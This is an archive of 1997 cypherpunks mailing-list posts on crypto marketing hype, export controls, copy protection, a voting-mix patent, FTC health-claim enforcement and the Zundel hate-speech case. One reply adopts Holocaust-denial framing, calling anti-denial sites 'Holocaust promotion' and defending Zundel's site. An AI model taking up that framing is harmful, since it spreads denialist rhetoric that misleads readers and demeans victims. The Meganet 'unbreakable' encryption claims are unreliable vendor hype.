Unbreakable encryption is the only answer to security 
in our electronic world. This is graphically illustrated 
by the recent report from the National Security Agency
reporting the open market availability of a $10 chip that 
can test up to 200 million keys per second. The 56-bit key, 
government and banking standard, can be compromised in 
twelve (12) seconds with brute force using ASIC
(Application-specific Integrated Circuits) chips. 

Meganet has the answer with its new VME (Virtual Matrix 
Encryption). The impenetrable VME also has extreme speed, 
much faster than any existing program available today. 

Major computer companies are already starting discussions 
to acquire the rights to market this incredible new data 
encryption system. More information about this
exciting new technology can be found at: www.meganet.com

----------

Hmm, wonder if it has impenetrable GAK and CAK options.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 8 Nov 1997 00:23:24 +0800
To: cypherpunks@cyberpass.net
Subject: [Fwd: *LCS - DLS Lecture - Robert Morris - NSA*]
Message-ID: <v0311070cb088e61abf06@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Fri, 07 Nov 1997 10:02:04 -0500
From: Richard Lethin <lethin@etcons.com>
MIME-Version: 1.0
To: dcsb@ai.mit.edu
Subject: [Fwd: *LCS - DLS Lecture - Robert Morris - NSA*]
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Richard Lethin <lethin@etcons.com>



Return-Path: <bbarry@hq.lcs.mit.edu>
Received: from life.ai.mit.edu (life.ai.mit.edu [128.52.32.80])
	by deer-park.etcons.com (8.8.5/8.8.5) with ESMTP id KAA25929
	for <lethin@etcons.com>; Fri, 7 Nov 1997 10:02:22 -0500 (EST)
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	id AA26971; Fri, 7 Nov 97 09:47:27 EST
Message-Id: <v03020903b088c96cdfa8@[18.49.0.239]>
Mime-Version: 1.0
Content-Type: text/enriched; charset="us-ascii"
Date: Fri, 7 Nov 1997 09:46:20 -0400
To: seminar@ai.mit.edu, seminars@lcs.mit.edu, help-teach@lcs.mit.edu,
        assistants@ai.mit.edu, mas-students@media.mit.edu,
        support@media.mit.edu, eecsfaculty@eecs.mit.edu,
        dchamber@warren.med.harvard.edu, wmurphy@mediaone.net,
        Kenneth_Burrell/CAM/Lotus@lotus.com, vijak@eecs.harvard.edu,
        CMCampos@aol.com, Stephanie_Leung@cmp4.ccmail.compuserve.com
From: Barbara Barry <bbarry@hq.lcs.mit.edu>
Subject: *LCS - DLS Lecture - Robert Morris - NSA*

(Please excuse multiple posts)

*SEMINAR ANNOUNCEMENT ******************************

MIT Lab for Computer Science 	Distinguished Lecturer Series

Thursday, November 20, 1997	Lecture, 3:30pm
Location 34-101		Refreshments, 3:15pm
50 Vassar Street, Cambridge


Robert Morris, National Security Agency, Retired

Protection of Valuable Information

Over the past few decades, there has been a considerable shift in the area
of protection and exploitation of valuable information.  In the past, the
relevant skills were exercised by governments to protect or exploit
military and diplomatic information.  Nowadays, much of the interest in
information protection is by individuals wishing to protect their
privacy and by organizations wishing to protect their financial interests.

Here are the that come up that are worth some thought:

- does the breakup of the Soviet Union significantly reduce the
exploitation of U.S. Government information?

- has the world wide spread of ATMs (Automatic Teller Machines)
led to a great deal of electronic theft - and, if so how are they
protected?

- is cryptography more important than careful handling of information
and is cryptanalysis more important than burglary, bribery, and
blackmail?

Host: Michael Dertouzos

***************************************************
for the DLS season schedule check out
http://www.lcs.mit.edu/web_project/dls97.html
***************************************************







--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Sat, 8 Nov 1997 01:55:35 +0800
To: Robert Hettinga <whgiii@invweb.net>
Subject: RE: Hughes Markets? (Was Re: Copyright commerce and the street	 musician protocol)
Message-ID: <2328C77FF9F2D011AE970000F84104A749341D@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>Well how exactly does one prevent data from being stolen once it has
been
>unlocked? I pay my 2X to view the picture anonymously and now I copy it
>save it and distribute it worldwide. I fail to see how any
>encryption/watermark scheme can prevent me from doing so.

The short answer: you can't prevent theft of copyrighted data if the
user has physical control of the computer the data resides on.

The long answer: depending on the OS and the hardware, you can make it
difficult enough that it is not worth the effort for low-value data.  As
a veteran of the copy-protection wars (so, am I one of just 3 people on
this list approaching/into middle age? (hi Tim and William :))), I know
that it is impossible to protect unencrypted data if the user has
physical control of the system.  Unfortunately, in order to use the
data, you have to decrypt the darn stuff!!  Especially with the OSes
commonly in use on PCs (DOS, Win3.1, Win95, MacOS), there is very little
memory protection going on, so snarfing the data can be done entirely
through software by a determined cracker -- there is no need to resort
to hardware hacks.

Technological protection against theft of intellectual property is like
the search for the Philosopher's Stone during the Middle Ages -- many
are seduced by the promise, but it is a promise that cannot be kept by
personal computers.  If the display device is/incorporates a
general-purpose computer that can be physically accessed, then the data
in the display device is subject to compromise.  The very flexibility
and accessibility of a general-purpose computing device is its undoing
when it comes to protected unencrypted data -- and data has to be
unencrypted to be used.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 8 Nov 1997 03:17:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Totally Unbreakable VME
In-Reply-To: <1.5.4.32.19971107152649.00a4af90@pop.pipeline.com>
Message-ID: <199711071910.NAA14321@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young Reports:
 
> AT&T, Hewlett Packard, Intel Corporation, Dell Computers, and many
> other leading computer corporations have been added to the challenge
> list by Meganet Corporation. The challenge started last week with Bill
> Gates, now some of his peers have an opportunity to validate or
> discredit the bold claim that Meganet's VME (Virtual Matrix
> Encryption) is totally unbreakable.
 
I am pleased to announce that I have added IBM, Gateway 2000, Netscape
Communications, and CISCO to my challenge list.  I started this challenge
last week with Andy Grove.  Now some of Andy's friends also have a chance
to break "CordianPlex", the secure One Time Pad based on the random
arrangement of droppings in my cat's litter box. 
 
None of these companies have ever heard of me, or my insignificant
product, but I think I will put their names in my press release to make me
sound more important to people who haven't a clue. 
 
> Major computer companies are already starting discussions to acquire
> the rights to market this incredible new data encryption system.
 
Name three.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 8 Nov 1997 03:10:34 +0800
To: cypherpunks@toad.com
Subject: Return of the Living Zundel, from The Netly News
Message-ID: <v03007803b089126cf351@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



****************

http://cgi.pathfinder.com/netly/editorial/0,1012,1561,00.html

The Netly News Network (http://netlynews.com/)
November 6, 1997

Return of the Living Zundel
by Chris Stamper (cstamper@pathfinder.com)

        Does Ernst Zundel have the right to deny the Holocaust and brag
   about it on the Net? In the U.S. the answer is unequivocally yes. But
   in Canada, where Zundel resides, the Human Rights Commission has been
   holding hearings on whether the "Zundelsite" violates the country's
   hate speech laws. If Zundel loses the case, he'll be asked to pay
   damages and take any offending articles off the web site.

        "A lot of people think this case is about censoring the Net,"
   said Bernie Farber, national director of community relations for the
   Canadian Jewish Congress. "It isn't. It's about a Canadian violating
   Canadian law. In Canada and in every other Western democracy but the
   U.S., there are limits to free speech and one of those points is
   vilification. I should feel I have as much right to get on the Net and
   not feel demeaned because I'm a part of a particular group."

        A simple enough concept, except that the Canadian tribunal has no
   explicit jurisdiction over the Internet. However, it can regulate the
   phone system, and if the commission can equate Zundel's modems with
   answering machines and voice mail, it could set a precedent for
   regulating speech on the Net.

        Zundel claims that the whole case is simply an attempt by the
   commission to expand its powers into the realm of cyberspace. But then
   Zundel also claims that Hitler maintained a secret UFO base in
   Antarctica.

        The only certain truth about Zundel's case is that he's basking
   in free publicity as a result of the flap. "I was a nobody before they
   started hounding me," he told The Netly News. "Now everyone spells my
   name right. Every Canadian knows I think the Holocaust is a racket."

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Iproxy <accounts@attendant.com>
Date: Sat, 8 Nov 1997 03:58:19 +0800
To: Spread Spectrum Image Steganography <cypherpunks@toad.com>
Subject: Iproxy Confirmation code IS$g$IUtVFKb2V
Message-ID: <199711071947.NAA25052@attendant.com>
MIME-Version: 1.0
Content-Type: text/plain



Please confirm your subscription to Iproxy by replying to this email,
leaving the subject line intact. To begin using Iproxy, go to:
http://www.iproxy.com/launch.html

Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Sat, 8 Nov 1997 03:30:43 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: BXA mtg in DC, 12/9/97
In-Reply-To: <Beta.32.19971106134658.043abc40@208.139.36.80>
Message-ID: <t53vhy4o6k1.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain



This happens to 

Greg Broiles <gbroiles@netbox.com> writes:

>> There will be another meeting of that group on 12/9/97 at 9 AM in
>> the (Herbert C., not J. Edgar) Hoover Building, Room 3884, between
>> Pennsylvania & Constitution Avenues, NW, in Washington DC. The
>> agenda is:
>> 
>> 3.	Update on the encryption regulation.

This happens to be during IETF, which happens to be in DC, which means
a large number of prominent cryptographers and implementors from all
over the world will be in town.  Is it worth showing up?  Maybe the
BXA can ask them how they manage to get the stuff from the US even
though it's export controlled :-)

>> [Closed session]
>> 9.	Discussion of matters properly classified under Executive Order 19958,
>> dealing with U.S. export control program and strategic criteria related
>> thereto.

How closed?

		Marc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 7 Nov 1997 22:49:14 +0800
To: cypherpunks@toad.com
Subject: Re: french cypherpunks
In-Reply-To: <199711070004.TAA21854@cti06.citenet.net>
Message-ID: <9711071426.AA15936@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> > Btw: did anybody scan their photo's of the HIP '97 (in this case

There are some images and videos by Joichi Ito. Follow the link at
http://www.hip97.nl

> Je re‡ois, disons, 20 messages CP par jour.  Robert ‚limine les flame wars et je lui en 
> suis reconnaissant.  Mˆme Tim May n'est apparemment plus sur CP ces temps-cis.

Mais si.  Try http://infinity.nus.sg/cypherpnks/current/ to see what
you are missing.  (BTW, last I checked, I couldn't find any e$pam
subscription info at the e$ web site.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 8 Nov 1997 05:03:33 +0800
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: BXA mtg in DC, 12/9/97
In-Reply-To: <Beta.32.19971106134658.043abc40@208.139.36.80>
Message-ID: <v0300780bb0892bd2ec15@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 14:19 -0500 11/7/97, Marc Horowitz wrote:
>This happens to be during IETF, which happens to be in DC, which means
>a large number of prominent cryptographers and implementors from all
>over the world will be in town.  Is it worth showing up?  Maybe the
>BXA can ask them how they manage to get the stuff from the US even
>though it's export controlled :-)

I'm planning to be there. I'm also going to be at IETF. Any recommendations
on which wg/sessions to attend?

>>> [Closed session]
>>> 9.	Discussion of matters properly classified under Executive Order 19958,
>>> dealing with U.S. export control program and strategic criteria related
>>> thereto.
>
>How closed?

Pretty closed. Unless someone pursues Lucky's recommendation.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 8 Nov 1997 05:04:55 +0800
To: cypherpunks@cyberpass.net
Subject: [patent] Secure electronic message transfer and voting scheme
Message-ID: <v0311075ab0893046f524@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-cryptography@c2.org using -f
From: tamaster@technologist.com
Date: Fri, 7 Nov 1997 10:14:46 -0600 (CST)
To: cryptography@c2.net
Subject: [patent] Secure electronic message transfer and voting scheme
X-Sender: Private Idaho 2.8b3
Sender: owner-cryptography@c2.net


Secure anonymous message transfer
and voting scheme (Assignee -- NEC
Research Institute, Inc.)

November 7, 1997


Assignee: NEC Research Institute, Inc.

Patent Number: 5682430

Issue Date: 1997 10 28

Inventor(s): Kilian, Joseph John{#buSako, Kazue#}


Abstract: A number-theoretic based algorithm provides for secure
anonymous message transfer and electronic voting. A voter or sender may
cast an encrypted vote or message that is processed through n centers
in a manner which prevents fraud and authenticates the votes. Any
interested party can verify that each vote has been properly counted.
The invention can be realized by current-generation personal computers
with access to an electronic bulletin board.

Ex Claim Text: A method of secure anonymous message transfer from a
plurality of senders by use of a plurality of mixing centers comprising
the steps of: (a) choosing constants which are posted for senders
S.sub.1, S.sub.2, . . . S.sub.l and mixing centers, C.sub.1, C.sub.2,
. . . C.sub.n ; (b) each sender S.sub.k constructing an encrypted
message which is posted; (c) a first mixing center C.sub.1 processing
the posted messages from each sender S.sub.k which processed messages
are then posted for use by the next center; (d) each mixing center
C.sub.2 through C.sub.n-1 sequentially processing the processed messages
from the previous center, which sequentially processed messages are then
posted for use by the next center; (e) the last mixing center C.sub.n
processing messages from the previous center C.sub.n-1 and posting the
result; (f) each mixing center proving the validity of its processing,
which proof is posted; and (g) channel checker verifying correctness of
the execution from posted messages when necessary. from posted messages
when necessary.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 8 Nov 1997 06:26:54 +0800
To: cypherpunks@toad.com
Subject: FTC, Canada, Mexico officials launch "health claim surf day"
Message-ID: <v0300780fb08941d117ed@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



[From Nov 5 Natural Healthline. --Declan]


******************************************
FTC Launches North American Health Claim Surf Day
******************************************

by Michael Evers

The Federal Trade Commission recently joined with public health and
consumer  protection and information agencies from the United States,
Canada, and  Mexico to "surf" the Internet for potentially false or
deceptive  advertising claims concerning treatments or cures for heart
disease,  cancer, AIDS, diabetes, arthritis, and multiple sclerosis.

The FTC announced today that in just a few hours during the recently
conducted North American Health Claim Surf Day, Internet surfers
identified more than 400 World Wide Web sites and numerous Usenet
newsgroups that contain promotions for products or services purporting
to help cure, treat or prevent these six diseases.

The FTC said that it sent hundreds of Web sites and newsgroups e-mail
messages pointing out that advertisers must have evidence to back up
their claims. FTC staff will follow-up by revisiting the targeted sites
in the coming weeks to determine if changes have been made. Suspected
violators received an e-mail warning which said the following:

The Federal Trade Commission (FTC), its federal and state law
enforcement  partners, and public health and consumer protection
agencies from Mexico  and Canada are sending you (and hundreds of other
Internet advertisers)  this message based upon a review of the promotion
you disseminated through  the Internet.

The FTC and its partners have NOT determined whether your Internet
promotion violates United States federal or state laws, Mexican law, or
Canadian law. Nevertheless, we want to remind you that when you make
health claims in promoting a product, service, or treatment, those
claims  must be truthful and non-deceptive.

Deceptive Acts or Practices Are Unlawful under the FTC Act

In the United States, Section 5 of the FTC Act (15 U.S.C. § 45),
prohibits  deceptive acts or practices in or affecting commerce. In
addition, Section  12 of the Act (15 U.S.C. § 52) prohibits the
dissemination of any false  advertisement to induce the purchase of any
food, drugs, or devices.

An advertisement is misleading and deceptive if the advertiser makes an
objective claim, either expressly or by implication, including through
the  use of consumer testimonials, without a "reasonable basis" to
support that  claim. As set out in the Commission's Advertising
Substantiation Policy  Statement, advertisements that specify the level
of substantiation that the  advertiser possesses (e.g., "tests prove" or
"studies show") must be  supported by at least that level of evidence.
If the advertisement does not  specify a particular type of
substantiation, the Commission considers  several factors in determining
the appropriate level of substantiation.  Typically, claims of the sort
included on your Internet site must be  substantiated by competent and
reliable scientific evidence. Competent and  reliable scientific
evidence is defined as tests, analyses, research,  studies, or other
evidence based on the expertise of professionals in the  relevant area,
that has been conducted and evaluated in an objective manner  by persons
qualified to do so, using procedures generally accepted in the
profession to yield accurate and reliable results. Anecdotal evidence
and  consumer testimonials are not considered competent and reliable
scientific  evidence. You may want to review your advertisement in light
of these  standards.

Possible Violations in Other Jurisdictions

Unfair or deceptive acts or practices are also unlawful under various
state  statutes in the United States. The standards under these statutes
may be  different from those of the FTC's. In addition, by placing an
Internet site  on the World Wide Web, you may be subject to scrutiny in
other countries  where you sell your products. You should be aware that
many countries,  including Mexico and Canada, also have laws that
generally require  advertisements to be truthful and non-deceptive.

"Hopeful and sometimes desperate consumers spend millions of dollars on
unproven, deceptively marketed, and often useless 'miracle cures' and
the  Internet should not become the newest medium for this age-old
problem,"  said Jodie Bernstein, Director of the FTC's Bureau of
Consumer Protection.  "In addition to wasting consumers' money, some
products or treatments may  even cause them serious harm or endanger
their lives. Even when the  advertised remedy is harmless, it can still
have a detrimental effect if it  causes consumers to stop or slow the
use of proven treatments."

In addition to today's effort to prevent health fraud, the FTC has
recently  conducted several other Internet Surf Days focusing on
different types of  fraud, including pyramid schemes and deceptive
business opportunity offers.

North American Health Claim Surf Day participants included:

U.S. Food and Drug Administration  Health Canada  Competition Bureau of
Industry Canada  Procuraduria Federal del Consumidor of Mexico  the
Secretaria de Salud of Mexico  Centers for Disease Control and
Prevention  Federal Communications Commission (Denver Office)  Attorney
General of Connecticut  Attorney General of Illinois  Attorney General
of Kentucky  Attorney General of Maryland  Attorney General of
Massachusetts  Attorney General of Minnesota  Attorney General of
Missouri  Attorney General of North Carolina  Attorney General of
Pennsylvania  Attorney General of Tennessee  Attorney General of Texas
Attorney General of Vermont  Attorney General of Virginia  Attorney
General of Wisconsin  Arthritis Foundation  American Heart Association
American Diabetes Association  Capital Area and Tristate AIDS Task
Force  Better Business Bureau serving northwest Ohio and southeast
Michigan.

For more information,

Federal Trade Commission Web site  http://www.ftc.gov

Tom Carter  FTC Dallas Regional Director  1999 Bryan Street, Suite 2150
Dallas, Texas 75201  (214) 979-9350






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fiona@witcapital.com
Date: Sat, 8 Nov 1997 07:49:06 +0800
To: cypherpunks@toad.com
Subject: IPO ALERT: Brass Eagle, Inc. Available through Wit Capital
Message-ID: <199711072330.PAA09874@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Wit Capital Corporation is pleased to announce that we are able to provide first-come first-serve participation in the following initial public offering as described below:

Issuer:  Brass Eagle, Inc., a worldwide leader in the design, manufacture, marketing and distribution of paintball products, including paintball guns, paintballs and accessories.
Security:  Common Stock

Expected Size of Offering:  2,275,000 shares

Expected Price Range:  $10.00 to $12.00

Lead Underwriter:  McDonald & Co.

If you think you may be interested in this Initial Public Offering available through Wit Capital, please visit http://www.witcapital.com or call (888) 4wit-cap.
You can view, print or download the Preliminary Prospectus from the New Issues Section of our website.  To purchase shares, you must first open an account, which you can do online.

Investing in public offerings is speculative and may not be appropriate for every investor.
As with all of your investments with Wit Capital, you must make your own determination of whether an investment in this offering is consistent with your investment objectives and risk tolerance.
To learn more about the risks of investing in initial public offerings please visit the New Issues Section of our website.

A REGISTRATION STATEMENT RELATING TO THESE SECURITIES HAS BEEN FILED WITH THE SECURITIES AND EXCHANGE COMMISSION BUT HAS NOT YET BECOME EFFECTIVE.  THESE SECURITIES MAY NOT BE SOLD NOR MAY OFFERS TO BUY BE ACCEPTED PRIOR TO THE TIME THE REGISTRATION STATEMENT BECOMES EFFECTIVE.  THIS COMMUNICATION SHALL NOT CONSTITUTE AN OFFER TO SELL OR THE SOLICITATION OF AN OFFER TO BUY, NOR SHALL THERE BE ANY SALE OF THESE SECURITIES IN ANY JURISDICTION IN WHICH SUCH OFFER, SOLICITATION OR SALE WOULD BE UNLAWFUL PRIOR TO REGISTRATION OR QUALIFICATION UNDER THE SECURITIES LAWS OF SUCH JURISDICTION.

NO OFFER TO BUY THE SECURITIES CAN BE ACCEPTED AND NO PART OF THE PURCHASE PRICE CAN BE RECEIVED UNTIL THE REGISTRATION STATEMENT BECOMES EFFECTIVE, AND ANY SUCH OFFER MAY BE WITHDRAWN AND REVOKED WITHOUT OBLIGATION OR COMMITMENT OF ANY KIND, AT ANY TIME PRIOR TO NOTICE OF ITS ACCEPTANCE GIVEN AFTER THE EFFECTIVE DATE.  AN INDICATION OF INTEREST IN RESPONSE TO THIS RESPONSE TO THIS ADVERTISEMENT WILL INVOLVE NO OBLIGATION OR COMMITMENT OF ANY KIND.

A broker dealer or its agent may only transact business in a state after licensure or satisfying qualification requirements of that state. If you reside in a particular state that Wit Capital is not registered in as a broker dealer or has registered agents in, this message is not directed to you. Wit Capital will not open a brokerage account or sell securities to you until such time registration requirements in your home state are fulfilled.  Thank you.


Wit Capital Corporation
Member NASD/SIPC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 8 Nov 1997 08:55:59 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Return of the Living Zundel, from The Netly News
In-Reply-To: <v03007803b089126cf351@[168.161.105.141]>
Message-ID: <3463B4E6.6CD3@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> http://cgi.pathfinder.com/netly/editorial/0,1012,1561,00.html
> 
> The Netly News Network (http://netlynews.com/)
> November 6, 1997
> 
> Return of the Living Zundel
> by Chris Stamper (cstamper@pathfinder.com)
> 
>         Does Ernst Zundel have the right to deny the Holocaust and brag
>    about it on the Net? In the U.S. the answer is unequivocally yes. But
>    in Canada, where Zundel resides, the Human Rights Commission has been
>    holding hearings on whether the "Zundelsite" violates the country's
>    hate speech laws.

  Zundel's web site contains pointers to the sites of those who disagree
with him. The Holocaust promotion web sites, however, contain pointers
only to sites which are in agreement with their views.
  e.g. - At Zundel's site:
> For relentless Holocaust promotion, on the other hand, contact Nizkor. 
> For another Jewish point of view, contact the Simon Wiesenthal Center (tm) 

  Thus, the Canadian Human Rights Commission's primary goal seems to
be to limit Canadian's access to infomation to only that which is in
alignment with the goals of those holding the reins of power.

TruthMunger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: fiona@witcapital.com
Date: Sat, 8 Nov 1997 09:03:04 +0800
To: cypherpunks@toad.com
Subject: Come Celebrate the launch of Wit Capital Corporation!
Message-ID: <199711080043.QAA10156@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



When:
Thursday, November 13, 1997
6:00 pm to midnight
Where:
Wit Capital offices
826 Broadway
(corner of 12th St.)
6th floor
New York City
(212) 253-4400
                                                                  
What:
Eat, drink and dance the night away

____________________________________________
For a more colorful invitation, please visit 
http://www.witcapital.com/invite.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 8 Nov 1997 10:20:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: INFO-RUSS: school projects... (fwd)
Message-ID: <199711080215.UAA29933@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From INFO-RUSS-request@smarty.ece.jhu.edu Fri Nov  7 20:09:14 1997
Message-Id: <9711072030.AA17690@smarty.ece.jhu.edu>
Errors-To: INFO-RUSS-request@smarty.ece.jhu.edu
Sender: INFO-RUSS-request@smarty.ece.jhu.edu
Date: Wed, 05 Nov 1997 15:22:36 -0600 (CST)
From: "LEONID I. KIRKOVSKY" <lkirkovsky@utmem1.utmem.edu>
To: info-russ@smarty.ece.jhu.edu
Subject: INFO-RUSS: school projects...


---------------------------------------------------------------------
This is INFO-RUSS broadcast (1200+ subscribers). Home page, information, 
and archives: http://psi.ece.jhu.edu/~kaplan/IRUSS/inforuss.html
To post, or to subscribe/unsubscribe, mail to info-russ@smarty.ece.jhu.edu
INFO-RUSS assumes no responsibility for the information/views of its users.
---------------------------------------------------------------------

Hi, everybody!
My son is going to make two voluntary projects for his school. 
Tentative title of the projects are:

1. Transfer of military technologies to civil life. It is about technologies 
like microwave oven or diapers came from space stations, or automatic 
transmission first invented for tanks. 

2. Russian scientists/inventors worked/working in the USA (like Sikorski, or 
inventor of TV).

I am wondering if somebody  knows any good sources of information on the 
matter.

Many thanks in advance.

Leonid Kirkovsky
LKirkovsky@utmem3.utmem.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 8 Nov 1997 10:29:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Crazy Isreali's... [CNN]
Message-ID: <199711080225.UAA30040@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                   CHILD HEIRESS AT THE CENTER OF TWISTED PLOT
>                                        
>       Onassis November 7, 1997
>      Web posted at: 7:50 p.m. EST (0050 GMT)
>      
>      JERUSALEM (AP) -- As part of a battle over a young girl's $2.4
>      billion trust fund, former Israeli secret service agents tracked her
>      father's movements using paragliders and cameras hidden in trees.
>      
>      At least, that's the Israeli version of what happened to Athena
>      Roussel, the granddaughter of Greek shipping magnate Aristotle
>      Onassis.
>      
>      Swiss authorities, however, suspect the Israelis may have been
>      involved in a plot to kidnap the 12-year-old girl and want them
>      arrested.
>      
>      Much of the story, hushed up for months, remains shrouded inmystery,
>      though bits and pieces have emerged in the Israeli media.
>      
>      The daily newspaper Maariv ran a banner headline Friday about"An
>      operation to save the Onassis fortune." Next to it was apicture of
>      an angelic-looking Athena wearing a white dress and a garland of
>      white flowers in her honey-colored hair.
>      
>      Athena is the only child of Christina Onassis, the shipping
>      magnate's daughter, and her fourth husband, Thierry Roussel. The
>      couple divorced 1987 and Christina Onassis died a year later.
>      Roussel has remarried and has three children with his new wife.
>      Athena lives with her father and his new family in Switzerland and
>      France.
>      
>      Athena stands to inherit some $2.4 billion when she turns 18,and in
>      the meantime her father and the Greek executors of hermother's will
>      have been fighting over control of the money.
>      
>      Roussel receives $5 million a year for personal expenses, under his
>      ex-wife's will. Expenses for Athena are confidential.
>      
>      Roussel recently sued the charitable Alexander S. Onassis Public
>      Benefit Foundation, accusing it of having mismanaged and embezzled
>      millions of dollars. A Greek court acquitted the foundation earlier
>      this year.
>      
>      Israeli police said that at some point, Greek trustees turned to
>      Israeli private investigators and asked them to find evidence that
>      Athena's father was involved in "immoral acts."
>      
>      The seven Israelis -- among them former top agents in Israel's Shin
>      Bet security service -- began by preparing surveillance on the
>      Roussel mansion near Geneva, according to Maariv and the Yediot
>      Ahronot daily newspaper.
>      
>      This was a complicated task, the newspapers said, sinceintruders
>      could easily be spotted near the heavily guarded,isolated compound.
>      One solution the agents came up with, saidYediot, was to use
>      paragliders to fly over the Roussel home and take pictures from the
>      air.
>      
>      Another scheme to avoid drawing attention was to have
>      agentsmasquerade as environmentalists driving around in a
>      vanplastered with "green" stickers.
>      
>      The Israeli team also proposed to hide surveillance cameras in the
>      trees of the compound and use state-of-the-art laser technology to
>      wiretap Roussel's home and office, Maariv said.
>      
>      In a second stage, the surveillance team hired another Israeli
>      investigator to check out Roussel's Paris apartment, the newspaper
>      said. The agent learned, said Maariv, that Roussel was running a
>      modeling agency there, and at one point hired a British model to try
>      and infiltrate Roussel's business.
>      
>      The surveillance efforts came to light when an Israeli businessman
>      and a friend of the Paris agent found out about it and tried to sell
>      the information for profit. The businessman was questioned by Swiss
>      police who began an investigation.
>      
>      It was at this stage, said Maariv and Yediot, that the Greektrustees
>      ordered the Israeli team to drop its efforts.
>      
>      In a statement Friday, the Onassis Foundation accused Roussel of a
>      campaign to remove his daughter from the control of the trustees,
>      "even in matters of security."
>      
>      However, foundation officials refused comment on the record when
>      asked whether trustees had hired the Israelis.
>      
>      Last month, Swiss police officials came to Israel to questionseveral
>      of the Israeli investigators who had since returned home.
>      
>      Israeli police said they decided to close the case because they had
>      no evidence of wrongdoing. An Israeli police investigator said he
>      was convinced the Israeli agents had simply carried out surveillance
>      and were not involved in a kidnapping plot.
>      
>      But a Swiss judge investigating the kidnapping suspicions said he
>      doubted the Israeli version.
>      
>      "It's their way of seeing things and it's convenient forthem," said
>      Judge Jacques Delieutraz of Geneva. "They don't have all the facts
>      we have."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sat, 8 Nov 1997 13:14:07 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Bay Area Cypherpunks meeting announcement
Message-ID: <3.0.32.19971107210508.006f972c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:

>o Cypherpunks Tonga will announce [...]
>
>o Cypherpunks Tonga will then combine [...]
........................................................

What is Cypherpunks Tonga?

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 8 Nov 1997 12:15:02 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32adfcca3eebc8a81ff728910558907f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



TruthMunger wrote:
